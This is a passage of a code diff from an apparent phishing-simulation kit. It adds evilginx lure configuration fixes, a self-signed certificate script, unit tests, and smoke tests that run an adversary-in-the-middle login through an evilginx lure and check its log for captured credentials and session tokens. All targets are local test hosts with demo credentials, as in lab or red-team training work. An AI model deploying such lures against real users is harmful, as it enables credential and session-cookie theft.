ConfigureError( + "evilginx did not start in screen after configure — " + f"check {EVILGINX_LOG}" + ) + + # Process is confirmed up; now wait for the port and re-check once more before + # declaring failure (the process can bind a moment after it appears in pgrep). + if _wait_https_port(port): + _log(f"evilginx is running in screen (port {port} listening)") + return + if _evilginx_process_up() and https_port_listening(port): + _log(f"evilginx is running in screen (port {port} listening, late bind)") + return + + # Genuinely failed to bind — tear down so we don't leave a detached screen + # session and a half-bound port behind (audit L1). + stop_evilginx() + priv = " (ports <1024 need root/setcap; set EVILGINX_HTTPS_PORT to a high port)" if port < 1024 else "" + raise ConfigureError( + f"evilginx did not bind HTTPS port {port} in time{priv} — " + f"check {EVILGINX_LOG} (port in use or needs elevated privileges)." + ) def _probe_lure(lure_url: str) -> bool: @@ -451,6 +540,7 @@ def configure_and_get_lure( start_in_screen() persisted = lure_from_config(dryrun_domain, phishlet) or lure if not _probe_lure(persisted): + stop_evilginx() raise ConfigureError( f"lure URL did not respond OK after restart: {persisted}. " "Check /etc/hosts for all phishlet subdomains and click Start + get lure again." diff --git a/scripts/gen_demo_tls_cert.sh b/scripts/gen_demo_tls_cert.sh new file mode 100755 index 0000000..890f761 --- /dev/null +++ b/scripts/gen_demo_tls_cert.sh @@ -0,0 +1,25 @@ +#!/usr/bin/env bash +# Generate a self-signed TLS cert for the local AiTM demo HTTPS upstream. +# evilginx proxies to this upstream with verification disabled (goproxy default), +# so a self-signed cert is fine for the dry-run. +# +# Usage: scripts/gen_demo_tls_cert.sh [cn] +set -euo pipefail + +OUT_DIR="${1:-demos/.certs}" +CN="${2:-app.cookie-demo.test}" +mkdir -p "$OUT_DIR" +CERT="$OUT_DIR/$CN.crt" +KEY="$OUT_DIR/$CN.key" + +if [[ -f "$CERT" && -f "$KEY" ]]; then + echo "cert exists: $CERT" + exit 0 +fi + +openssl req -x509 -newkey rsa:2048 -nodes \ + -keyout "$KEY" -out "$CERT" -days 365 \ + -subj "/CN=$CN" \ + -addext "subjectAltName=DNS:$CN,DNS:cookie-demo.test" >/dev/null 2>&1 + +echo "wrote $CERT and $KEY (CN=$CN)" diff --git a/tests/python/test_configure_lure.py b/tests/python/test_configure_lure.py new file mode 100644 index 0000000..3bc3110 --- /dev/null +++ b/tests/python/test_configure_lure.py @@ -0,0 +1,219 @@ +#!/usr/bin/env python3 +"""Unit tests for kit/evilginx/scripts/configure_lure.py. + +Covers the parsing, port-selection, and bind-poll logic that the audit (C1.1–C1.3) +flagged. Pure stdlib (unittest) so it runs without extra deps: + + python3 -m unittest discover -s tests/python -v +""" +from __future__ import annotations + +import importlib.util +import json +import os +import socket +import sys +import tempfile +import unittest +from pathlib import Path + +REPO = Path(__file__).resolve().parents[2] +SCRIPT = REPO / "kit" / "evilginx" / "scripts" / "configure_lure.py" + + +def _load_module(): + spec = importlib.util.spec_from_file_location("configure_lure", SCRIPT) + mod = importlib.util.module_from_spec(spec) + assert spec and spec.loader + spec.loader.exec_module(mod) + return mod + + +cl = _load_module() + + +class PortSelection(unittest.TestCase): + def setUp(self): + for k in ("EVILGINX_HTTPS_PORT", "EVILGINX_DNS_PORT"): + os.environ.pop(k, None) + + def tearDown(self): + for k in ("EVILGINX_HTTPS_PORT", "EVILGINX_DNS_PORT"): + os.environ.pop(k, None) + + def test_defaults_are_privileged_ports(self): + self.assertEqual(cl.desired_https_port(), 443) + self.assertEqual(cl.desired_dns_port(), 53) + + def test_env_override_high_ports(self): + os.environ["EVILGINX_HTTPS_PORT"] = "8443" + os.environ["EVILGINX_DNS_PORT"] = "5353" + self.assertEqual(cl.desired_https_port(), 8443) + self.assertEqual(cl.desired_dns_port(), 5353) + + def test_invalid_port_raises(self): + os.environ["EVILGINX_HTTPS_PORT"] = "notaport" + with self.assertRaises(cl.ConfigureError): + cl.desired_https_port() + + def test_out_of_range_raises(self): + os.environ["EVILGINX_HTTPS_PORT"] = "70000" + with self.assertRaises(cl.ConfigureError): + cl.desired_https_port() + + +class SocketProbe(unittest.TestCase): + def test_socket_listening_true_when_bound(self): + srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + srv.bind(("127.0.0.1", 0)) + srv.listen(1) + port = srv.getsockname()[1] + try: + self.assertTrue(cl._socket_listening(port)) + finally: + srv.close() + + def test_socket_listening_false_when_free(self): + # Grab then release a port so it is almost certainly free. + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.bind(("127.0.0.1", 0)) + port = s.getsockname()[1] + s.close() + self.assertFalse(cl._socket_listening(port)) + + +class WaitPoll(unittest.TestCase): + def test_wait_returns_true_quickly_when_listening(self): + orig = cl.https_port_listening + cl.https_port_listening = lambda port=None: True + try: + self.assertTrue(cl._wait_https_port(8443, timeout_sec=1.0)) + finally: + cl.https_port_listening = orig + + def test_wait_returns_false_without_raising_on_timeout(self): + orig = cl.https_port_listening + cl.https_port_listening = lambda port=None: False + try: + # Must NOT raise — caller decides what to do (re-check / teardown). + self.assertFalse(cl._wait_https_port(8443, timeout_sec=0.3)) + finally: + cl.https_port_listening = orig + + +class LurePaths(unittest.TestCase): + def setUp(self): + self.tmp = tempfile.TemporaryDirectory() + self.dir = Path(self.tmp.name) + self._saved = cl.PHISHLETS_DIR + cl.PHISHLETS_DIR = self.dir + + def tearDown(self): + cl.PHISHLETS_DIR = self._saved + self.tmp.cleanup() + + def _write_phishlet(self, name: str, login_path: str = "/login"): + (self.dir / f"{name}.yaml").write_text( + "proxy_hosts:\n" + " - {phish_sub: '', orig_sub: 'app', domain: 'cookie-demo.test', is_landing: true}\n" + "login:\n" + f" domain: 'app.cookie-demo.test'\n" + f" path: '{login_path}'\n" + ) + + def test_pick_lure_path_differs_from_login(self): + self._write_phishlet("demo", login_path="/signin") + path = cl._pick_lure_path("demo") + self.assertTrue(path.startswith("/")) + self.assertNotEqual(path, "/signin") + + def test_pick_lure_path_root_login_uses_login_alias(self): + self._write_phishlet("demo", login_path="/") + self.assertEqual(cl._pick_lure_path("demo"), "/login") + + def test_login_path_parsed(self): + self._write_phishlet("demo", login_path="/account/login") + self.assertEqual(cl._login_path("demo"), "/account/login") + + +class NormalizeOps(unittest.TestCase): + def test_path_is_slash_prefixed(self): + ops = cl._normalize_lure_ops({"path": "promo"}) + self.assertEqual(ops["path"], "/promo") + + def test_extra_paths_dedup_and_prefix(self): + ops = cl._normalize_lure_ops({"path": "/a", "extra_paths": ["a", "b", "/b", "c"]}) + self.assertEqual(ops["extra_paths"], ["/b", "/c"]) + + def test_empty_ops_ok(self): + ops = cl._normalize_lure_ops(None) + self.assertEqual(ops["path"], "") + self.assertEqual(ops["extra_paths"], []) + + +class ConfigWritesPorts(unittest.TestCase): + """configure_via_config_json must persist the chosen https/dns ports and enable + only the target phishlet (so no colliding duplicate stays enabled).""" + + def setUp(self): + self.tmp = tempfile.TemporaryDirectory() + root = Path(self.tmp.name) + self.saved = { + "EVILGINX_BIN": cl.EVILGINX_BIN, + "PHISHLETS_DIR": cl.PHISHLETS_DIR, + "DATA_DIR": cl.DATA_DIR, + "CONFIG_JSON": cl.CONFIG_JSON, + "EVILGINX_LOG": cl.EVILGINX_LOG, + } + bin_path = root / "evilginx" + bin_path.write_text("#!/bin/sh\n") + phishlets = root / "phishlets" + phishlets.mkdir() + (phishlets / "demo-cookie.yaml").write_text( + "proxy_hosts:\n" + " - {phish_sub: '', orig_sub: 'app', domain: 'cookie-demo.test', is_landing: true}\n" + "login:\n domain: 'app.cookie-demo.test'\n path: '/login'\n" + ) + (phishlets / "stale.yaml").write_text( + "proxy_hosts:\n - {phish_sub: '', domain: 'stale.test', is_landing: true}\n" + ) + data = root / "data" + data.mkdir() + cl.EVILGINX_BIN = bin_path + cl.PHISHLETS_DIR = phishlets + cl.DATA_DIR = data + cl.CONFIG_JSON = data / "config.json" + cl.EVILGINX_LOG = data / "evilginx.log" + # Pre-seed a config with a stale enabled phishlet to prove it gets disabled. + cl.CONFIG_JSON.write_text(json.dumps({"phishlets": {"stale": {"enabled": True}}})) + + def tearDown(self): + for k, v in self.saved.items(): + setattr(cl, k, v) + for k in ("EVILGINX_HTTPS_PORT", "EVILGINX_DNS_PORT"): + os.environ.pop(k, None) + self.tmp.cleanup() + + def test_writes_high_ports_and_enables_only_target(self): + os.environ["EVILGINX_HTTPS_PORT"] = "8443" + os.environ["EVILGINX_DNS_PORT"] = "5353" + lure = cl.configure_via_config_json("demo-cookie", "demo-cookie.local.phishkit") + self.assertTrue(lure.startswith("https://demo-cookie.local.phishkit")) + cfg = json.loads(cl.CONFIG_JSON.read_text()) + self.assertEqual(cfg["general"]["https_port"], 8443) + self.assertEqual(cfg["general"]["dns_port"], 5353) + self.assertEqual(cfg["general"]["domain"], "demo-cookie.local.phishkit") + self.assertTrue(cfg["phishlets"]["demo-cookie"]["enabled"]) + self.assertFalse(cfg["phishlets"]["stale"]["enabled"]) + self.assertEqual(cfg["lures"][0]["phishlet"], "demo-cookie") + + def test_defaults_to_privileged_ports(self): + cl.configure_via_config_json("demo-cookie", "demo-cookie.local.phishkit") + cfg = json.loads(cl.CONFIG_JSON.read_text()) + self.assertEqual(cfg["general"]["https_port"], 443) + self.assertEqual(cfg["general"]["dns_port"], 53) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/smoke/aitm_e2e_sudo.sh b/tests/smoke/aitm_e2e_sudo.sh new file mode 100755 index 0000000..4b01c54 --- /dev/null +++ b/tests/smoke/aitm_e2e_sudo.sh @@ -0,0 +1,106 @@ +#!/usr/bin/env bash +# ============================================================================= +# Full AiTM demo end to end THROUGH evilginx (needs root / setcap). +# +# Unlike tests/smoke/demo_cookie_e2e.sh (which runs unprivileged and exercises the +# capture *surface*), this drives the whole proxy loop: +# +# victim --HTTPS--> demo-cookie.local.phishkit (evilginx lure, :443) +# evilginx --HTTPS--> app.cookie-demo.test (upstream app, :443 on 127.0.0.2) +# +# and asserts evilginx captured a session. Privileged because evilginx binds :443/:53 +# and the upstream binds 127.0.0.2:443. Run on a disposable lab box: +# +# sudo bash tests/smoke/aitm_e2e_sudo.sh +# +# What it does (and undoes on exit): +# * builds evilginx if needed and grants it cap_net_bind_service +# * adds /etc/hosts entries for the lure and upstream hosts +# * starts the cookie app as an HTTPS upstream on 127.0.0.2:443 +# * starts the lure via kit/evilginx/scripts/configure_lure.py +# * walks the login through the lure and checks for a captured session +# ============================================================================= +set -euo pipefail + +REPO="$(cd "$(dirname "$0")/../.." && pwd)" +cd "$REPO" + +LURE_HOST="demo-cookie.local.phishkit" +UPSTREAM_HOST="app.cookie-demo.test" +UPSTREAM_IP="127.0.0.2" +CREDS_USER="demo@phishkit.local" +CREDS_PASS="demo-password" +CERT_DIR="$(mktemp -d)" +HOSTS_MARK="# phishkit-aitm-e2e" +PIDS=() + +log() { printf '\033[1;36m==>\033[0m %s\n' "$*"; } +fail() { printf '\033[1;31mFAIL:\033[0m %s\n' "$*" >&2; exit 1; } +pass() { printf ' \033[1;32mok\033[0m - %s\n' "$*"; } + +[[ "$(id -u)" -eq 0 ]] || fail "run as root (sudo) — evilginx and the upstream bind :443" + +cleanup() { + log "teardown" + bash kit/evilginx/scripts/stop_evilginx.sh >/dev/null 2>&1 || true + for pid in "${PIDS[@]:-}"; do kill "$pid" 2>/dev/null || true; done + sed -i "/$HOSTS_MARK/d" /etc/hosts 2>/dev/null || true + rm -rf "$CERT_DIR" +} +trap cleanup EXIT + +log "build evilginx if missing" +[[ -x kit/evilginx/run/evilginx ]] || make build-evilginx +command -v setcap >/dev/null && setcap cap_net_bind_service=+ep kit/evilginx/run/evilginx || true +pass "evilginx present" + +log "ensure python venv with pexpect + screen" +command -v screen >/dev/null || fail "'screen' not installed (apt-get install screen / brew install screen)" +if [[ ! -x venv/bin/python ]]; then python3 -m venv venv; fi +./venv/bin/python -m pip install -q -r scripts/requirements.txt +pass "runtime deps ready" + +log "/etc/hosts entries" +grep -q "$LURE_HOST" /etc/hosts || echo "127.0.0.1 $LURE_HOST $HOSTS_MARK" >> /etc/hosts +grep -q "$UPSTREAM_HOST" /etc/hosts || echo "$UPSTREAM_IP $UPSTREAM_HOST $HOSTS_MARK" >> /etc/hosts +pass "hosts mapped ($LURE_HOST -> 127.0.0.1, $UPSTREAM_HOST -> $UPSTREAM_IP)" + +log "self-signed cert + HTTPS upstream on $UPSTREAM_IP:443" +scripts/gen_demo_tls_cert.sh "$CERT_DIR" "$UPSTREAM_HOST" >/dev/null +( cd demos && npm install --silent >/dev/null 2>&1 \ + && HOST="$UPSTREAM_IP" PORT=443 \ + TLS_CERT="$CERT_DIR/$UPSTREAM_HOST.crt" TLS_KEY="$CERT_DIR/$UPSTREAM_HOST.key" \ + npx tsx cookie/server.ts >/tmp/pk-upstream.log 2>&1 ) & +PIDS+=($!) +for i in $(seq 1 50); do curl -sk -o /dev/null "https://$UPSTREAM_IP:443/healthz" && break; sleep 0.2; done +curl -sk -o /dev/null "https://$UPSTREAM_IP:443/healthz" || fail "upstream did not start" +pass "upstream up" + +log "start the lure via configure_lure.py" +export PHISHKIT_ROOT="$REPO" +export EVILGINX_DATA_DIR="$REPO/kit/evilginx/run/data" +export EVILGINX_LOG="$EVILGINX_DATA_DIR/evilginx.log" +lure=$(./venv/bin/python kit/evilginx/scripts/configure_lure.py \ + --phishlet demo-cookie --dryrun-domain "$LURE_HOST" --regenerate-path) +[[ -n "$lure" ]] || fail "no lure URL returned" +pass "lure: $lure" + +log "walk the login through the lure" +JAR="$CERT_DIR/jar.txt" +login_url=$(curl -sk -o /dev/null -w '%{redirect_url}' "$lure") +login_url="${login_url:-https://$LURE_HOST/login}" +curl -sk -c "$JAR" -o /dev/null "https://$LURE_HOST/login" +curl -sk -b "$JAR" -c "$JAR" -o /dev/null -X POST \ + --data "username=$CREDS_USER&password=$CREDS_PASS" "https://$LURE_HOST/login" +sleep 1 + +log "check evilginx captured a session" +if grep -qiE "all authorization tokens intercepted|new visitor has arrived|username:|password:" "$EVILGINX_LOG"; then + pass "evilginx recorded credential/session activity" +else + echo "---- evilginx.log tail ----"; tail -30 "$EVILGINX_LOG" || true + fail "no capture recorded — inspect $EVILGINX_LOG" +fi + +echo +echo "PASS: AiTM demo captured a session end to end through evilginx." diff --git a/tests/smoke/demo_cookie_e2e.sh b/tests/smoke/demo_cookie_e2e.sh new file mode 100755 index 0000000..f0fd3c5 --- /dev/null +++ b/tests/smoke/demo_cookie_e2e.sh @@ -0,0 +1,93 @@ +#!/usr/bin/env bash +# ============================================================================= +# AiTM demo smoke test (unprivileged) — the cookie capture surface end to end. +# +# This exercises the exact failure the audit called out in C1.4: the demo needs a +# *reachable HTTPS upstream on a host distinct from the lure*. Here we stand that +# upstream up for real (self-signed TLS) and drive the cookie login -> session +# -> dashboard flow over HTTPS, proving the surface evilginx proxies to actually +# works. It runs on high ports with no root. +# +# The full evilginx proxy loop (lure host -> upstream) needs privileged ports or +# EVILGINX_HTTPS_PORT + setcap; see tests/smoke/aitm_e2e_sudo.sh for that path. +# +# bash tests/smoke/demo_cookie_e2e.sh +# ============================================================================= +set -euo pipefail + +REPO="$(cd "$(dirname "$0")/../.." && pwd)" +cd "$REPO" + +HTTP_PORT="${HTTP_PORT:-19080}" +TLS_PORT="${TLS_PORT:-19443}" +CERT_DIR="$(mktemp -d)" +USER_EMAIL="demo@phishkit.local" +USER_PASS="demo-password" +PIDS=() + +cleanup() { + for pid in "${PIDS[@]:-}"; do kill "$pid" 2>/dev/null || true; done + rm -rf "$CERT_DIR" +} +trap cleanup EXIT + +fail() { echo "FAIL: $*" >&2; exit 1; } +pass() { echo "ok - $*"; } + +wait_for_port() { + local scheme="$1" host="$2" port="$3" i + for i in $(seq 1 50); do + if curl -sk -o /dev/null "$scheme://$host:$port/healthz" 2>/dev/null; then return 0; fi + sleep 0.2 + done + return 1 +} + +echo "==> deps" +(cd demos && npm install --silent >/dev/null 2>&1) + +echo "==> self-signed cert for the HTTPS upstream (app.cookie-demo.test)" +scripts/gen_demo_tls_cert.sh "$CERT_DIR" app.cookie-demo.test >/dev/null +CERT="$CERT_DIR/app.cookie-demo.test.crt" +KEY="$CERT_DIR/app.cookie-demo.test.key" +[[ -f "$CERT" && -f "$KEY" ]] || fail "cert generation" +pass "cert generated" + +echo "==> start cookie demo over HTTP (:$HTTP_PORT)" +( cd demos && HOST=127.0.0.1 PORT="$HTTP_PORT" npx tsx cookie/server.ts >/dev/null 2>&1 ) & +PIDS+=($!) +echo "==> start cookie demo over HTTPS upstream (:$TLS_PORT)" +( cd demos && HOST=127.0.0.1 PORT="$TLS_PORT" TLS_CERT="$CERT" TLS_KEY="$KEY" npx tsx cookie/server.ts >/dev/null 2>&1 ) & +PIDS+=($!) + +wait_for_port http 127.0.0.1 "$HTTP_PORT" || fail "HTTP demo did not come up" +pass "HTTP demo up" +wait_for_port https 127.0.0.1 "$TLS_PORT" || fail "HTTPS upstream did not come up" +pass "HTTPS upstream reachable (distinct from lure host)" + +echo "==> login page served over HTTPS" +code=$(curl -sk -o /dev/null -w '%{http_code}' "https://127.0.0.1:$TLS_PORT/login") +[[ "$code" == "200" ]] || fail "login page HTTPS status $code" +pass "GET /login over HTTPS -> 200" + +echo "==> bad credentials rejected" +code=$(curl -sk -o /dev/null -w '%{http_code}' -X POST \ + --data "username=$USER_EMAIL&password=wrong" "https://127.0.0.1:$TLS_PORT/login") +[[ "$code" == "401" ]] || fail "bad creds got $code (expected 401)" +pass "bad creds -> 401" + +echo "==> valid login issues a session cookie" +JAR="$CERT_DIR/jar.txt" +loc=$(curl -sk -c "$JAR" -o /dev/null -w '%{redirect_url}\n' -X POST \ + --data "username=$USER_EMAIL&password=$USER_PASS" "https://127.0.0.1:$TLS_PORT/login") +grep -q "session" "$JAR" || fail "no session cookie set" +case "$loc" in */dashboard) ;; *) fail "login redirect was '$loc' (expected /dashboard)";; esac +pass "valid login -> Set-Cookie session, 302 /dashboard" + +echo "==> authenticated dashboard reachable with the captured cookie" +body=$(curl -sk -b "$JAR" "https://127.0.0.1:$TLS_PORT/dashboard") +echo "$body" | grep -q "Signed in" || fail "dashboard not authenticated" +pass "GET /dashboard with session cookie -> Signed in" + +echo +echo "PASS: cookie AiTM capture surface works end to end over a distinct HTTPS upstream."